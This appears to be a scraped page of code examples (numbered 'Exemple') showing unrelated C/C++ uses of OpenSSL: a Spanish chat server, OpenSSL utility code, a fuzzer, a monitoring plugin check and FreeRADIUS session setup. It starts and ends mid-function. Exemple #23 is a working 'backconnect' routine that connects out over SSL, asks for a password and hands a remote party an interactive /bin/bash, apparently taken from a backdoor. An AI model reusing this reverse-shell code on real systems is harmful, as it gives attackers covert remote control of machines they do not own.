        fprintf(stderr, "Clave privada incorrecta.\n");
        _exit(-1);
    }

    /*******************************SSL****************************************/

    //Creamos el socket
    PDEBUG("INFO: Creando el socket\n");
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    //Comprobamos si ha ocurrido un error al crear el socket
    if(sock < 0){
        write(2, strcat("ERROR: creación del socket {{socket()}}: %s\n", strerror(errno)), DIM);
        // terminamos la ejecución del programa
        exit(-1);
    }

    PDEBUG("INFO: Estableciendo el puerto, origenes,...\n");
    addr.sin_family = AF_INET; // familia AF_INET
    addr.sin_port = htons(port); // definimos el puerto de conexión
    addr.sin_addr.s_addr = htonl(INADDR_ANY); // permitimos conexion de cualquiera

    /* hacemos este "apaño" porque según hemos leido, http://www.wlug.org.nz/EADDRINUSE
     * hay un timeout para liberar el socket
     */
    unsigned int opt = 1;
    if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))==-1) {
        write(2, "ERROR: al permitir la reutiización del puerto {{setsockopt()}}\n", DIM);
        exit(-1);
    }

    // le asignamos una dirección al socket
    PDEBUG("INFO: Asignando una dirección al socket\n");
    error = bind(sock, (struct sockaddr *)&addr, length);
    //Comprobamos si ha ocurrido un error al hacer el bind
    if(error < 0){
        write(2, strcat("ERROR: {{bind()}}: %s\n", strerror(errno)), DIM);
        // terminamos la ejecución del programa
        exit(-1);
    }

    //Ponemos el servidor a escuchar para buscar nuevas conexiones
    PDEBUG("INFO: Comenzamos la escucha de l programa\n");
    error = listen(sock, Q_DIM);
    //Comprobamos si ha ocurrido un error al ponernos a escuchar
    if(error < 0){
        write(2, strcat("ERROR: al iniciar la escucha{{listen()}}: %s\n", strerror(errno)), DIM);
        // terminamos la ejecución del programa
        exit(-1);
    }

    // realizamos la asignación inicial de memoria
    PDEBUG("INFO: Realizando asignación inicial de memoria, tamaño inicial 10\n");
    connTam = 10;
    conn = malloc(connTam * sizeof(user));
    // rellenamos el array con -1
    memset(conn, 0, connTam * sizeof(user));

    //inicializamos la lista de conexiones
    FD_ZERO(&connList);
    // Inicio del bit descriptor connList con el valor de sock
    FD_SET (sock, &connList);
    
    PDEBUG("INFO: Creamos la sala de chat general\n");
    bzero(rooms, DIM * sizeof(room));
    strcpy(rooms[0].name, "general");

    // <editor-fold defaultstate="collapsed" desc="Bucle de escucha">
    //comenzamos a analizar conexiones
    PDEBUG("INFO: Comenzamos a analizar los sockets\n");
    while(1){
        // hacemos una copia de seguridad para asegurarnos de no perder los datos
        connListCopy = connList;
        // ¿Hay algún socket listo para leer?
        PDEBUG("INFO: ¿Hay algún socket listo para leer?\n");
        error = select(connTam + 1, &connListCopy, NULL, NULL, NULL);
        //Comprobamos si ha ocurrido un error al ponernos a escuchar
        if(error < 0){
            write(2, strcat("ERROR: al realizar la selección {{select()}}: %s\n"
                       , strerror(errno)), DIM);
            // terminamos la ejecución del programa
            exit(-1);
        }

        // recorriendo los sockets para ver los que están activos
        PDEBUG("INFO: recorriendo los sockets para ver los que están activos\n");
        int i = 0; // definimos un índice
        for (; i <= connTam; i++){
            // este socket está preparado para leer los datos
            if(FD_ISSET(i, &connListCopy)){
                // vemos si el socket preparado para leer es el de aceptar peticiones
                if(i == sock){
                    PDEBUG("INFO: Nuevo cliente detectado, comprobando...\n");
                    auxConn.sock = accept(sock, (struct sockaddr *) &addr, &length);
                    if(auxConn.sock < 0){
                        write(2, "ERROR: al realizar la aceptación {{accept()}}: %s\n"
                                   , *strerror(errno));
                        // terminamos la ejecución del programa
                        exit(-1);
                    }

                    /************************SSL*******************************/
                    PDEBUG("INFO: Creando conexion ssl\n");
                    PDEBUG("INFO: Creando conexion SSL\n");
                    auxConn.ssl = SSL_new(ctx);
                    PDEBUG("INFO: Asignando la conexión a SSL\n");
                    SSL_set_fd(auxConn.ssl, auxConn.sock);
                    PDEBUG("INFO: Aceptando la conexión SSL\n");
                    error = SSL_accept(auxConn.ssl);
                    if(error < 0){
                        ERR_print_errors_fp(stderr);
                        exit(-1);
                    }
                    /************************SSL*******************************/

                    PDEBUG("INFO: Conexión establecida, autenticando...\n");

                    memset(&auxMsj, 0, sizeof(auxMsj)); // incializamos la estructura

                    PDEBUG("INFO: Solicitando autenticación\n");
                    strcpy(auxMsj.text, "Usuario: "); // establecemos el texto que queremos que se muestre
                    auxMsj.flag = REQ_TEXT;  // le indicamos que requerimos una respuesta con texto
                    strcpy(auxMsj.name, SERVER); // nos identificamos como el servidor
                    SSL_write(auxConn.ssl, &auxMsj, sizeof(sms)); // enviamos la información
                    
                    // metemos los datos de la conexión en nuestro array de conexiones
                    strcpy((*(conn + connPos)).name, auxMsj.text);
                    (*(conn + connPos)).sock = auxConn.sock;
                    (*(conn + connPos)).ssl = auxConn.ssl;
                    (*(conn + connPos)).prov = PROV;

                    // Añadimos el socket a nuestra lista
                    PDEBUG("INFO: Insertando socket en la lista de monitoreo\n");
                    FD_SET (auxConn.sock, &connList);

                    // como la peticion se ha aceptado incrementamos el contador de conexiones
                    PDEBUG("INFO: Cálculo del nuevo offset\n");
                    nextPos(conn, &connPos, &connTam, connGrow);
                }else{ // si no, es un cliente ya registrado

                    PDEBUG("DATA: Nuevo mensaje detectado\n");
                    nbytes = SSL_read((*(conn+searchConn(conn, connTam, i))).ssl, &auxMsj, sizeof(sms));
                    if(nbytes > 0){ // si hemos leido más d eun byte...
                        
                        switch(auxMsj.flag){

                            case CLI_EXIT: // desconexión del cliente
                                closeConn(conn, &connPos, connTam, i, &connList, db);
                                break;
                            case SERV_ADMIN: // parámetros que ha de ejecutr el servidor
                                execParams(conn, connTam, auxMsj.text, i, sock, db, rooms, DIM);
                                break;
                            case MSJ:  // mensaje
                                multicast(conn, &connTam, auxMsj, i, db,
                                            (*(conn+searchConn(conn, connTam, i))).room);
                                break;
                            case REQ_AUTH: // vamos a leer el nombre de usuario
                                auth(conn, &connTam, i, auxMsj, db, rooms, DIM);
                                break;
                            case CHECK_ROOM: // vamos a leer el nombre de usuario
                                roomCheckIn(conn, &connTam, i, auxMsj, db, rooms, DIM);
                                break;
                            case CHECK_PASS:
                                authPassword(conn, &connTam, i, auxMsj, db, rooms, DIM);
                                break;
                            case MP:
                                mp(conn, &connTam, auxMsj, i, db);
                                break;
                            default:
                                write(2, "ERROR: Recibido un mensaje mal formado\n", 39);
                                break;
                                
                        }

                    }else{ // hemos detectado una desconexión por el cerrado de la conexión

                        closeConn(conn, &connPos, connTam, i, &connList, db);

                    }
                }
            }
        }
    }//</editor-fold>

    return 0;
}
Exemple #18
0
/***********************************************************************
 * doConnection - make a connection
 * Args:
 *		scon	= earlier ssl connection for session id, or NULL
 * Returns:
 *		SSL *	= the connection pointer.
 */
static SSL *doConnection(SSL *scon)
	{
	BIO *conn;
	SSL *serverCon;
	int width, i;
	fd_set readfds;

	if ((conn=BIO_new(BIO_s_connect())) == NULL)
		return(NULL);

/*	BIO_set_conn_port(conn,port);*/
	BIO_set_conn_hostname(conn,host);

	if (scon == NULL)
		serverCon=SSL_new(tm_ctx);
	else
		{
		serverCon=scon;
		SSL_set_connect_state(serverCon);
		}

	SSL_set_bio(serverCon,conn,conn);

#if 0
	if( scon != NULL )
		SSL_set_session(serverCon,SSL_get_session(scon));
#endif

	/* ok, lets connect */
	for(;;) {
		i=SSL_connect(serverCon);
		if (BIO_sock_should_retry(i))
			{
			BIO_printf(bio_err,"DELAY\n");

			i=SSL_get_fd(serverCon);
			width=i+1;
			FD_ZERO(&readfds);
			openssl_fdset(i,&readfds);
			/* Note: under VMS with SOCKETSHR the 2nd parameter
			 * is currently of type (int *) whereas under other
			 * systems it is (void *) if you don't have a cast it
			 * will choke the compiler: if you do have a cast then
			 * you can either go for (int *) or (void *).
			 */
			select(width,(void *)&readfds,NULL,NULL,NULL);
			continue;
			}
		break;
		}
	if(i <= 0)
		{
		BIO_printf(bio_err,"ERROR\n");
		if (verify_error != X509_V_OK)
			BIO_printf(bio_err,"verify error:%s\n",
				X509_verify_cert_error_string(verify_error));
		else
			ERR_print_errors(bio_err);
		if (scon == NULL)
			SSL_free(serverCon);
		return NULL;
		}

	return serverCon;
	}
Exemple #19
0
cSocket::Status cOpenSSLSocket::Connect( const cIpAddress& remoteAddress, unsigned short remotePort, cTime timeout ) {
	if ( mConnected ) {
		Disconnect();
	}

	// Set up a SSL_CTX object, which will tell our BIO object how to do its work
	mCTX = SSL_CTX_new( SSLv23_client_method() );

	if ( mSSLSocket->mValidateCertificate ) {
		if (!sCerts.empty()) {
			//yay for undocumented OpenSSL functions
			X509_STORE * store = SSL_CTX_get_cert_store( mCTX );

			for( size_t i = 0; i < sCerts.size(); i++ ) {
				X509_STORE_add_cert( store, sCerts[i] );
			}
		}

		/* Ask OpenSSL to verify the server certificate.  Note that this
		 * does NOT include verifying that the hostname is correct.
		 * So, by itself, this means anyone with any legitimate
		 * CA-issued certificate for any website, can impersonate any
		 * other website in the world.  This is not good.  See "The
		 * Most Dangerous Code in the World" article at
		 * https://crypto.stanford.edu/~dabo/pubs/abstracts/ssl-client-bugs.html
		 */
		SSL_CTX_set_verify( mCTX, SSL_VERIFY_PEER, NULL );

		/* This is how we solve the problem mentioned in the previous
		 * comment.  We "wrap" OpenSSL's validation routine in our
		 * own routine, which also validates the hostname by calling
		 * the code provided by iSECPartners.  Note that even though
		 * the "Everything You've Always Wanted to Know About
		 * Certificate Validation With OpenSSL (But Were Afraid to
		 * Ask)" paper from iSECPartners says very explicitly not to
		 * call SSL_CTX_set_cert_verify_callback (at the bottom of
		 * page 2), what we're doing here is safe because our
		 * cert_verify_callback() calls X509_verify_cert(), which is
		 * OpenSSL's built-in routine which would have been called if
		 * we hadn't set the callback.  Therefore, we're just
		 * "wrapping" OpenSSL's routine, not replacing it. */
		SSL_CTX_set_cert_verify_callback ( mCTX, CertVerifyCb, this );

		//Let the verify_callback catch the verify_depth error so that we get an appropriate error in the logfile. (??)
		SSL_CTX_set_verify_depth( mCTX, mMaxCertChainDepth + 1 );
	}

	mSSL		= SSL_new( mCTX );

	SSL_set_fd( mSSL, (int)mSSLSocket->mSocket );

	// Set the SSL to automatically retry on failure.
	SSL_set_mode( mSSL , SSL_MODE_AUTO_RETRY );

	mStatus		= cSocket::Done;

	// Same as before, try to connect.
	int result	= SSL_connect( mSSL );

	eePRINTL( "CONNECTION RESULT: %d", result );

	if ( result < 1 ) {
		ERR_print_errors_fp(stdout);

		_print_error(result);

		mStatus	= cSocket::Error;

		return mStatus;
	}

	X509 * peer = SSL_get_peer_certificate( mSSL );

	if ( peer ) {
		bool cert_ok = SSL_get_verify_result(mSSL) == X509_V_OK;

		eePRINTL( "cert_ok: %d", (int)cert_ok );

		mStatus	= cSocket::Done;
	} else if ( mSSLSocket->mValidateCertificate ) {
		mStatus	= cSocket::Error;
	}

	if ( mStatus == cSocket::Done ) {
		mConnected = true;
	}

	return mStatus;
}
Exemple #20
0
int FuzzerTestOneInput(const uint8_t *buf, size_t len)
{
    SSL *server;
    BIO *in;
    BIO *out;
    BIO *bio_buf;
    SSL_CTX *ctx;
    int ret;
    RSA *privkey;
    const uint8_t *bufp;
    EVP_PKEY *pkey;
    X509 *cert;
#ifndef OPENSSL_NO_EC
    EC_KEY *ecdsakey = NULL;
#endif
#ifndef OPENSSL_NO_DSA
    DSA *dsakey = NULL;
#endif
    uint8_t opt;

    if (len < 2)
        return 0;

    /*
     * TODO: use the ossltest engine (optionally?) to disable crypto checks.
     */

    /* This only fuzzes the initial flow from the client so far. */
    ctx = SSL_CTX_new(SSLv23_method());

    /* RSA */
    bufp = kRSAPrivateKeyDER;
    privkey = d2i_RSAPrivateKey(NULL, &bufp, sizeof(kRSAPrivateKeyDER));
    OPENSSL_assert(privkey != NULL);
    pkey = EVP_PKEY_new();
    EVP_PKEY_assign_RSA(pkey, privkey);
    ret = SSL_CTX_use_PrivateKey(ctx, pkey);
    OPENSSL_assert(ret == 1);
    EVP_PKEY_free(pkey);

    bufp = kCertificateDER;
    cert = d2i_X509(NULL, &bufp, sizeof(kCertificateDER));
    OPENSSL_assert(cert != NULL);
    ret = SSL_CTX_use_certificate(ctx, cert);
    OPENSSL_assert(ret == 1);
    X509_free(cert);

#ifndef OPENSSL_NO_EC
    /* ECDSA */
    bio_buf = BIO_new(BIO_s_mem());
    OPENSSL_assert((size_t)BIO_write(bio_buf, ECDSAPrivateKeyPEM, sizeof(ECDSAPrivateKeyPEM)) == sizeof(ECDSAPrivateKeyPEM));
    ecdsakey = PEM_read_bio_ECPrivateKey(bio_buf, NULL, NULL, NULL);
    ERR_print_errors_fp(stderr);
    OPENSSL_assert(ecdsakey != NULL);
    BIO_free(bio_buf);
    pkey = EVP_PKEY_new();
    EVP_PKEY_assign_EC_KEY(pkey, ecdsakey);
    ret = SSL_CTX_use_PrivateKey(ctx, pkey);
    OPENSSL_assert(ret == 1);
    EVP_PKEY_free(pkey);

    bio_buf = BIO_new(BIO_s_mem());
    OPENSSL_assert((size_t)BIO_write(bio_buf, ECDSACertPEM, sizeof(ECDSACertPEM)) == sizeof(ECDSACertPEM));
    cert = PEM_read_bio_X509(bio_buf, NULL, NULL, NULL);
    OPENSSL_assert(cert != NULL);
    BIO_free(bio_buf);
    ret = SSL_CTX_use_certificate(ctx, cert);
    OPENSSL_assert(ret == 1);
    X509_free(cert);
#endif

#ifndef OPENSSL_NO_DSA
    /* DSA */
    bio_buf = BIO_new(BIO_s_mem());
    OPENSSL_assert((size_t)BIO_write(bio_buf, DSAPrivateKeyPEM, sizeof(DSAPrivateKeyPEM)) == sizeof(DSAPrivateKeyPEM));
    dsakey = PEM_read_bio_DSAPrivateKey(bio_buf, NULL, NULL, NULL);
    ERR_print_errors_fp(stderr);
    OPENSSL_assert(dsakey != NULL);
    BIO_free(bio_buf);
    pkey = EVP_PKEY_new();
    EVP_PKEY_assign_DSA(pkey, dsakey);
    ret = SSL_CTX_use_PrivateKey(ctx, pkey);
    OPENSSL_assert(ret == 1);
    EVP_PKEY_free(pkey);

    bio_buf = BIO_new(BIO_s_mem());
    OPENSSL_assert((size_t)BIO_write(bio_buf, DSACertPEM, sizeof(DSACertPEM)) == sizeof(DSACertPEM));
    cert = PEM_read_bio_X509(bio_buf, NULL, NULL, NULL);
    OPENSSL_assert(cert != NULL);
    BIO_free(bio_buf);
    ret = SSL_CTX_use_certificate(ctx, cert);
    OPENSSL_assert(ret == 1);
    X509_free(cert);
#endif

    /* TODO: Set up support for SRP and PSK */

    server = SSL_new(ctx);
    ret = SSL_set_cipher_list(server, "ALL:eNULL:@SECLEVEL=0");
    OPENSSL_assert(ret == 1);
    in = BIO_new(BIO_s_mem());
    out = BIO_new(BIO_s_mem());
    SSL_set_bio(server, in, out);
    SSL_set_accept_state(server);

    opt = (uint8_t)buf[len-1];
    len--;

    OPENSSL_assert((size_t)BIO_write(in, buf, len) == len);

    if ((opt & 0x01) != 0)
    {
        do {
            char early_buf[16384];
            size_t early_len;
            ret = SSL_read_early_data(server, early_buf, sizeof(early_buf), &early_len);

            if (ret != SSL_READ_EARLY_DATA_SUCCESS)
                break;
        } while (1);
    }

    if (SSL_do_handshake(server) == 1) {
        /* Keep reading application data until error or EOF. */
        uint8_t tmp[1024];
        for (;;) {
            if (SSL_read(server, tmp, sizeof(tmp)) <= 0) {
                break;
            }
        }
    }
    SSL_free(server);
    ERR_clear_error();
    SSL_CTX_free(ctx);

    return 0;
}
Exemple #21
0
int MAIN(int argc, char **argv)
	{
	int ret=1,i;
	int verbose=0;
	char **pp;
	const char *p;
	int badops=0;
	SSL_CTX *ctx=NULL;
	SSL *ssl=NULL;
	char *ciphers=NULL;
	SSL_METHOD *meth=NULL;
	STACK_OF(SSL_CIPHER) *sk;
	char buf[512];
	BIO *STDout=NULL;

#if !defined(NO_SSL2) && !defined(NO_SSL3)
	meth=SSLv23_server_method();
#elif !defined(NO_SSL3)
	meth=SSLv3_server_method();
#elif !defined(NO_SSL2)
	meth=SSLv2_server_method();
#endif

	apps_startup();

	if (bio_err == NULL)
		bio_err=BIO_new_fp(stderr,BIO_NOCLOSE);
	STDout=BIO_new_fp(stdout,BIO_NOCLOSE);
#ifdef VMS
	{
	BIO *tmpbio = BIO_new(BIO_f_linebuffer());
	STDout = BIO_push(tmpbio, STDout);
	}
#endif

	argc--;
	argv++;
	while (argc >= 1)
		{
		if (strcmp(*argv,"-v") == 0)
			verbose=1;
#ifndef NO_SSL2
		else if (strcmp(*argv,"-ssl2") == 0)
			meth=SSLv2_client_method();
#endif
#ifndef NO_SSL3
		else if (strcmp(*argv,"-ssl3") == 0)
			meth=SSLv3_client_method();
#endif
#ifndef NO_TLS1
		else if (strcmp(*argv,"-tls1") == 0)
			meth=TLSv1_client_method();
#endif
		else if ((strncmp(*argv,"-h",2) == 0) ||
			 (strcmp(*argv,"-?") == 0))
			{
			badops=1;
			break;
			}
		else
			{
			ciphers= *argv;
			}
		argc--;
		argv++;
		}

	if (badops)
		{
		for (pp=ciphers_usage; (*pp != NULL); pp++)
			BIO_printf(bio_err,*pp);
		goto end;
		}

	OpenSSL_add_ssl_algorithms();

	ctx=SSL_CTX_new(meth);
	if (ctx == NULL) goto err;
	if (ciphers != NULL) {
		if(!SSL_CTX_set_cipher_list(ctx,ciphers)) {
			BIO_printf(bio_err, "Error in cipher list\n");
			goto err;
		}
	}
	ssl=SSL_new(ctx);
	if (ssl == NULL) goto err;


	if (!verbose)
		{
		for (i=0; ; i++)
			{
			p=SSL_get_cipher_list(ssl,i);
			if (p == NULL) break;
			if (i != 0) BIO_printf(STDout,":");
			BIO_printf(STDout,"%s",p);
			}
		BIO_printf(STDout,"\n");
		}
	else
		{
		sk=SSL_get_ciphers(ssl);

		for (i=0; i<sk_SSL_CIPHER_num(sk); i++)
			{
			BIO_puts(STDout,SSL_CIPHER_description(
				sk_SSL_CIPHER_value(sk,i),
				buf,512));
			}
		}

	ret=0;
	if (0)
		{
err:
		SSL_load_error_strings();
		ERR_print_errors(bio_err);
		}
end:
	if (ctx != NULL) SSL_CTX_free(ctx);
	if (ssl != NULL) SSL_free(ssl);
	if (STDout != NULL) BIO_free_all(STDout);
	EXIT(ret);
	}
Exemple #22
0
int main(int argc, char *argv[])
{
  // default paths currently point to my test certificates
  char *m_caCertPath;
  char *m_serverCert;
  char *m_serverKey;
  char *stoparg;

  m_caCertPath= argv[1];
  fprintf(stdout,  "phase1\n");
  m_serverCert = strchr(m_caCertPath, ';');
  fprintf(stdout,  "phase2\n");
  *m_serverCert++ ='\0';
  m_serverKey  = strchr(m_serverCert, ';');
  fprintf(stdout,  "phase3\n");
  *m_serverKey++ ='\0';
  stoparg = strchr(m_serverKey, ';');
  fprintf(stdout,  "phase4\n");
  *stoparg++ = '\0';

  fprintf(stdout, "ca:%s\ncert:%s\nkey:%s\nstop:%s\n", m_caCertPath, m_serverCert, m_serverKey, stoparg);

  SSL_CTX *m_sslCtx = NULL;

  // Initializing OpenSSL
  // FIXME should this only be called once?

  OpenSSL_add_all_algorithms();
  SSLeay_add_all_algorithms();
  SSL_load_error_strings();
  ERR_load_crypto_strings();
  ERR_load_BIO_strings();
  SSL_library_init();


  m_sslCtx = SSL_CTX_new( SSLv23_method() );
  if (!m_sslCtx) {
    ERR_print_errors_fp( stdout );
    printf("error1\n");

  }

  SSL_CTX_set_options(m_sslCtx, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS);
/*   SSL_CTX_set_cipher_list(m_sslCtx, "ALL:!LOW:!EXP:!MD5:!MD2");      */
  SSL_CTX_set_purpose(m_sslCtx, X509_PURPOSE_ANY);
  /*  SSL_CTX_set_mode(m_sslCtx, SSL_MODE_AUTO_RETRY); */

  printf("test\n");
  // load server certificate
  if ( SSL_CTX_use_certificate_file( m_sslCtx,
        m_serverCert, SSL_FILETYPE_PEM ) <= 0 )
  {
    ERR_print_errors_fp( stdout );
    printf("error1\n");
  }

  // load private key
  if ( SSL_CTX_use_PrivateKey_file( m_sslCtx,
        m_serverKey, SSL_FILETYPE_PEM) <= 0 )
  {
    ERR_print_errors_fp( stdout );
    printf("error2\n");
  }

  // load trusted Certificate Authority
  if ( !SSL_CTX_load_verify_locations( m_sslCtx, 0,
        m_caCertPath ) )
  {
    ERR_print_errors_fp( stdout );
    printf("error3\n");
  }

  // require peer (client) certificate verification
  SSL_CTX_set_verify( m_sslCtx, SSL_VERIFY_PEER, 0 );
  // Set the verification depth to 1
  SSL_CTX_set_verify_depth( m_sslCtx, 100 );

  // set the verify call back to girdsite, which understands
  // proxy certificates
  SSL_CTX_set_cert_verify_callback( m_sslCtx,
      proxy_verify_callback_server, 0);

  // create new ssl structure and pass the fd to it
  SSL *m_sslCon = SSL_new( m_sslCtx );

  BIO *bio = BIO_new_accept("33334");
  if (BIO_do_accept(bio) <= 0)
    fprintf(stdout, "BIO_do_accept failed\n");
  fprintf(stdout, "now accepting\n");
  fprintf(stdout, "bio=%ld\n", bio);
  BIO_do_accept(bio);
  fprintf(stdout, "part1\n");
  BIO *client= BIO_pop(bio);
  fprintf(stdout, "part2\n");
  SSL_set_bio(m_sslCon, client, client);
  fprintf(stdout,"bio set\n");

  // initiate the handshake
  int error;
  if ( (error = SSL_accept( m_sslCon )) <= 0 ) {
    unsigned long l;
    char buf[256];
#if SSLEAY_VERSION_NUMBER  >= 0x00904100L
    const char *file;
#else
    char *file;
#endif
    char *dat;
    int line;

  /* WIN32 does not have the ERR_get_error_line_data */
  /* exported, so simulate it till it is fixed */
  /* in SSLeay-0.9.0 */

    while ( ERR_peek_error() != 0 ) {

      int i;
      ERR_STATE *es;

      es = ERR_get_state();
      i = (es->bottom+1)%ERR_NUM_ERRORS;

      if (es->err_data[i] == NULL)
        dat = (char*)"";
      else
        dat = es->err_data[i];
      if (dat) {
        l = ERR_get_error_line(&file, &line);
        //      if (debug)
        fprintf(stdout, "%s:%s,%d,%s\n", ERR_error_string(l, buf),
                file, line, dat);
        //      error += std::string(ERR_reason_error_string(l)) + ":" + std::string(ERR_func_error_string(l)) + "\n";
      }
    }
/*     fprintf(stdout, "%s\n", */
/*             ERR_reason_error_string( ERR_get_error() )); */
    fprintf(stdout, "ERROR\n");
    exit(1);
  }

  fprintf(stdout, "Handshake done!\n");
  /* connected */
  sleep(100);

  exit(0);
}
Exemple #23
0
/*
 * spawn a backconnect shell
 */
void backconnect(struct in_addr addr, u_short port)
{
    int child;
    signal(SIGCHLD, SIG_IGN);
    if((child=fork())==0) {
        /*For magic stdin stdout sdterr*/
        //printf("hello");

        struct sockaddr_in sockaddr;
        int sock;
        //FILE *fd;
        //char *newline;
        //char buf[1028];

        SSL_CTX *ctx;
        SSL *ssl;

        ctx = InitCTX();
        sockaddr.sin_family = AF_INET;
        sockaddr.sin_addr = addr;
        sockaddr.sin_port = port;

        sock = socket(AF_INET, SOCK_STREAM, 0);


        if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0)
        {
            ssl = SSL_new(ctx);
            SSL_set_fd(ssl,sock);

            sock = SSL_get_fd(ssl);

            if ( SSL_connect(ssl) == -1 )
                ERR_print_errors_fp(stderr);
            else {
                enterpass(ssl);
                int	writepipe[2] = {-1,-1},					/* parent -> child */
                                   readpipe [2] = {-1,-1};					/* child -> parent */
                pid_t	childpid;

                /*------------------------------------------------------------------------
                 * CREATE THE PAIR OF PIPES
                 *
                 * Pipes have two ends but just one direction: to get a two-way
                 * conversation you need two pipes. It's an error if we cannot make
                 * them both, and we define these macros for easy reference.
                 */
                writepipe[0] = -1;

                if ( pipe(readpipe) < 0  ||  pipe(writepipe) < 0 )
                {
                    /* FATAL: cannot create pipe */
                    /* close readpipe[0] & [1] if necessary */
                }

#define	PARENT_READ	readpipe[0]
#define	CHILD_WRITE	readpipe[1]
#define CHILD_READ	writepipe[0]
#define PARENT_WRITE	writepipe[1]
                signal(SIGCHLD, SIG_IGN);
                if ( (childpid = fork()) < 0)
                {
                    /* FATAL: cannot fork child */
                }
                else if ( childpid == 0 )					/* in the child */
                {
                    close(PARENT_WRITE);
                    close(PARENT_READ);

                    //dup2(CHILD_READ,  0);  close(CHILD_READ);
                    //dup2(CHILD_WRITE, 1);  close(CHILD_WRITE);
                    dup2(CHILD_WRITE,2);//for error
                    remap_pipe_stdin_stdout(CHILD_READ,CHILD_WRITE);

                    /* do child stuff */
                    //read_write(ssl,sock);
                    execve("/bin/bash", argv, envp);
                    //printf("bash close");
                    close(childpid);
                    _exit(0);
                }
                else				/* in the parent */
                {
                    close(CHILD_READ);
                    close(CHILD_WRITE);

                    //dup2(PARENT_READ, 0);
                    //dup2(PARENT_WRITE, 1);
                    remap_pipe_stdin_stdout(PARENT_READ,PARENT_WRITE);
                    /* do parent stuff */
                    read_write(ssl,sock);

                    //wait();

                }
                close(sock);
                SSL_CTX_free(ctx);
            }
        }
        //return;
        close(child);
        _exit(0);
    } else if(child>0) {
#ifdef DEBUG
        printf("---child PID:");
        printf("%d",child);
        printf("\n");
#endif
        return;
    }
    return;

}
Exemple #24
0
int np_net_ssl_init_with_hostname_version_and_cert(int sd, char *host_name, int version, char *cert, char *privkey) {
	const SSL_METHOD *method = NULL;

	switch (version) {
	case 0: /* Deafult to auto negotiation */
		method = SSLv23_client_method();
		break;
	case 1: /* TLSv1 protocol */
		method = TLSv1_client_method();
		break;
	case 2: /* SSLv2 protocol */
#if defined(USE_GNUTLS) || defined(OPENSSL_NO_SSL2)
		printf(("%s\n", _("CRITICAL - SSL protocol version 2 is not supported by your SSL library.")));
		return STATE_CRITICAL;
#else
		method = SSLv2_client_method();
#endif
		break;
	case 3: /* SSLv3 protocol */
		method = SSLv3_client_method();
		break;
	default: /* Unsupported */
		printf("%s\n", _("CRITICAL - Unsupported SSL protocol version."));
		return STATE_CRITICAL;
	}
	if (!initialized) {
		/* Initialize SSL context */
		SSLeay_add_ssl_algorithms();
		SSL_load_error_strings();
		OpenSSL_add_all_algorithms();
		initialized = 1;
	}
	if ((c = SSL_CTX_new(method)) == NULL) {
		printf("%s\n", _("CRITICAL - Cannot create SSL context."));
		return STATE_CRITICAL;
	}
	if (cert && privkey) {
		SSL_CTX_use_certificate_file(c, cert, SSL_FILETYPE_PEM);
		SSL_CTX_use_PrivateKey_file(c, privkey, SSL_FILETYPE_PEM);
		if (!SSL_CTX_check_private_key(c)) {
			printf ("%s\n", _("CRITICAL - Private key does not seem to match certificate!\n"));
			return STATE_CRITICAL;
		}
	}
#ifdef SSL_OP_NO_TICKET
	SSL_CTX_set_options(c, SSL_OP_NO_TICKET);
#endif
	if ((s = SSL_new(c)) != NULL) {
#ifdef SSL_set_tlsext_host_name
		if (host_name != NULL)
			SSL_set_tlsext_host_name(s, host_name);
#endif
		SSL_set_fd(s, sd);
		if (SSL_connect(s) == 1) {
			return OK;
		} else {
			printf("%s\n", _("CRITICAL - Cannot make SSL connection."));
#  ifdef USE_OPENSSL /* XXX look into ERR_error_string */
			ERR_print_errors_fp(stdout);
#  endif /* USE_OPENSSL */
		}
	} else {
			printf("%s\n", _("CRITICAL - Cannot initiate SSL handshake."));
	}
	return STATE_CRITICAL;
}
Exemple #25
0
/** Create a new server TLS session
 *
 * Configures a new server TLS session, configuring options, setting callbacks etc...
 *
 * @param ctx		to alloc session data in. Should usually be NULL unless the lifetime of the
 *			session is tied to another talloc'd object.
 * @param conf		values for this TLS session.
 * @param request	The current #REQUEST.
 * @param client_cert	Whether to require a client_cert.
 * @return
 *	- A new session on success.
 *	- NULL on error.
 */
tls_session_t *tls_session_init_server(TALLOC_CTX *ctx, fr_tls_conf_t *conf, REQUEST *request, bool client_cert)
{
	tls_session_t	*session = NULL;
	SSL		*new_tls = NULL;
	int		verify_mode = 0;
	VALUE_PAIR	*vp;
	SSL_CTX		*ssl_ctx;

	rad_assert(request != NULL);
	rad_assert(conf->ctx_count > 0);

	RDEBUG2("Initiating new TLS session");

	ssl_ctx = conf->ctx[(conf->ctx_count == 1) ? 0 : conf->ctx_next++ % conf->ctx_count];	/* mutex not needed */
	rad_assert(ssl_ctx);

	new_tls = SSL_new(ssl_ctx);
	if (new_tls == NULL) {
		tls_log_error(request, "Error creating new TLS session");
		return NULL;
	}

	session = talloc_zero(ctx, tls_session_t);
	if (session == NULL) {
		RERROR("Error allocating memory for TLS session");
		SSL_free(new_tls);

		return NULL;
	}
	session_init(session);
	session->ctx = ssl_ctx;
	session->ssl = new_tls;

	talloc_set_destructor(session, _tls_session_free);

	/*
	 *	Initialize callbacks
	 */
	session->record_init = record_init;
	session->record_close = record_close;
	session->record_from_buff = record_from_buff;
	session->record_to_buff = record_to_buff;

	/*
	 *	Create & hook the BIOs to handle the dirty side of the
	 *	SSL.  This is *very important* as we want to handle
	 *	the transmission part.  Now the only IO interface
	 *	that SSL is aware of, is our defined BIO buffers.
	 *
	 *	This means that all SSL IO is done to/from memory,
	 *	and we can update those BIOs from the packets we've
	 *	received.
	 */
	session->into_ssl = BIO_new(BIO_s_mem());
	session->from_ssl = BIO_new(BIO_s_mem());
	SSL_set_bio(session->ssl, session->into_ssl, session->from_ssl);

	/*
	 *	Add the message callback to identify what type of
	 *	message/handshake is passed
	 */
	SSL_set_msg_callback(new_tls, tls_session_msg_cb);
	SSL_set_msg_callback_arg(new_tls, session);
	SSL_set_info_callback(new_tls, tls_session_info_cb);

	/*
	 *	This sets the context sessions can be resumed in.
	 *	This is to prevent sessions being created by one application
	 *	and used by another.  In our case it prevents sessions being
	 *	reused between modules, or TLS server components such as
	 *	RADSEC.
	 *
	 *	A context must always be set when doing session resumption
	 *	otherwise session resumption will fail.
	 *
	 *	As the context ID must be <= 32, we digest the context
	 *	data with sha256.
	 */
	rad_assert(conf->session_id_name);
	{
		char		*context_id;
		EVP_MD_CTX	*md_ctx;
		uint8_t		digest[SHA256_DIGEST_LENGTH];

